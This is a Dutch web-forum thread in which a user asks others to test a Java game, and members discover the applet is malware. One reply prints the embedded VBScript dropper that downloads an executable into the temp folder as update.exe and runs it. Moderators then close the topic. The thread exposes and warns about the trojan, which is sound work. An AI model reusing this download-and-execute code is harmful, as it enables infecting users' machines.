Testers??
Zouden een aantal mensen mijn nieuwe java-game kunnen testen en beoordelen?
wat kan er beter etc... fouten melden..
alvast bedankt...
Linnk verwijderd
[/modedit]
wat kan er beter etc... fouten melden..
alvast bedankt...
Linnk verwijderd
[/modedit]
Gewijzigd op 22/08/2011 10:25:56 door Niels K
Mijn computer laat een witte pagina zien aangezien AVG het detecteert als onveilig.
Hier springen ook alle alarmlichten en bellen aan bij het openen van de lege pagina
Als ik de source al bekijk zie ik meer informatie over een connectie met een linuxbak via de parameters dan iets wat met een spel te maken heeft.
Ik vertrouw het gewoon niet.
Ik vertrouw het gewoon niet.
Dat jar-archief bevat een RSA sleutel van microsoft(?) en deze code.
Ik denk dat die sleutel ervoor zorgt dat het applet met meer rechten kan worden uitgevoerd omdat het een "vertrouwde bron" is (immers het lijkt alsof het door Microsoft gesignt is), en vervolgens runt hij dat dc.exe bestandje. Wat dat precies doet, ik heb geen idee. Wel leuk dat hij het op Linux machines via 'sh' probeert te runnen, kleine kans dat dat ook daadwerkelijk iets doet.
edit: maar dit lijkt mij inderdaad iets kwaadaardig.
edit2: voor Windows voert hij trouwens dit vb-scriptje uit om dc.exe van z'n website te downloaden en in je tmp-map te zetten als update.exe
Ik denk dat die sleutel ervoor zorgt dat het applet met meer rechten kan worden uitgevoerd omdat het een "vertrouwde bron" is (immers het lijkt alsof het door Microsoft gesignt is), en vervolgens runt hij dat dc.exe bestandje. Wat dat precies doet, ik heb geen idee. Wel leuk dat hij het op Linux machines via 'sh' probeert te runnen, kleine kans dat dat ook daadwerkelijk iets doet.
edit: maar dit lijkt mij inderdaad iets kwaadaardig.
edit2: voor Windows voert hij trouwens dit vb-scriptje uit om dc.exe van z'n website te downloaden en in je tmp-map te zetten als update.exe
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim S
Dim A
Dim DTNDTN
S = "ADODB"
A = ".Stream"
Set DTNDTN = CreateObject(S+A)
DTNDTN.Type = adTypeBinary
DTNDTN.Open
DTNDTN.Write BinaryGetURL(Wscript.Arguments(0))
DTNDTN.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite
Function BinaryGetURL(URL)
Dim Http
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")
Http.Open "GET", URL, False
Http.Send
BinaryGetURL = Http.ResponseBody
End Function
Set shell = CreateObject("WScript.Shell")
shell.Run "%temp%\update.exe"
start %temp%\winconfig.vbs
Const adSaveCreateOverWrite = 2
Dim S
Dim A
Dim DTNDTN
S = "ADODB"
A = ".Stream"
Set DTNDTN = CreateObject(S+A)
DTNDTN.Type = adTypeBinary
DTNDTN.Open
DTNDTN.Write BinaryGetURL(Wscript.Arguments(0))
DTNDTN.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite
Function BinaryGetURL(URL)
Dim Http
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")
Http.Open "GET", URL, False
Http.Send
BinaryGetURL = Http.ResponseBody
End Function
Set shell = CreateObject("WScript.Shell")
shell.Run "%temp%\update.exe"
start %temp%\winconfig.vbs
Gewijzigd op 22/08/2011 10:01:06 door Jelmer -
Dit lijkt mij niet de bedoeling! Topic wordt gesloten. Bas zal worden ingelicht, en die zal beslissen wat er verder gebeurt.
Bedankt voor het melden en het toelichten Jelmer.
Niels
Toevoeging van The Force:
Kan een moderator de link weghalen en deze man bannen voordat er meer mensen op klikken? De TS is bezig met het ontwikkelen van een virus en misbruikt PHPHulp als testpersoon. Dit is een strafbaar feit waar maximaal vier jaar gevangenisstraf op staat. Zie http://wetten.overheid.nl/BWBR0001854/TweedeBoek705742/TitelXXVII/Artikel350a/geldigheidsdatum_22-08-2011 . Ik hoop dat Bas actie onderneemt en aangifte doet bij de politie.
Zijn één na laatste topic was ook frauduleus: http://www.phphulp.nl/php/forum/topic/review-alle-kritiek-is-welkom/78769/ . Ook daar probeert hij mensen een virus aan te smeren via een onschuldige vraag. In het bericht ervoor wilde de TS ook iets doen wat niet mocht.
Op sitedeals.nl is ene "Robbert de Brock" ook gebanned (http://www.sitedeals.nl/website-verkopen-kopen/137991-klik-geld-gpt-site.html). Robert de Brock is zo te zien overigens een schuilnaam aangezien het slechts 6 resultaten in Google oplevert.
Bedankt voor het melden en het toelichten Jelmer.
Niels
Toevoeging van The Force:
Kan een moderator de link weghalen en deze man bannen voordat er meer mensen op klikken? De TS is bezig met het ontwikkelen van een virus en misbruikt PHPHulp als testpersoon. Dit is een strafbaar feit waar maximaal vier jaar gevangenisstraf op staat. Zie http://wetten.overheid.nl/BWBR0001854/TweedeBoek705742/TitelXXVII/Artikel350a/geldigheidsdatum_22-08-2011 . Ik hoop dat Bas actie onderneemt en aangifte doet bij de politie.
Zijn één na laatste topic was ook frauduleus: http://www.phphulp.nl/php/forum/topic/review-alle-kritiek-is-welkom/78769/ . Ook daar probeert hij mensen een virus aan te smeren via een onschuldige vraag. In het bericht ervoor wilde de TS ook iets doen wat niet mocht.
Op sitedeals.nl is ene "Robbert de Brock" ook gebanned (http://www.sitedeals.nl/website-verkopen-kopen/137991-klik-geld-gpt-site.html). Robert de Brock is zo te zien overigens een schuilnaam aangezien het slechts 6 resultaten in Google oplevert.
Gewijzigd op 22/08/2011 10:46:32 door Niels K



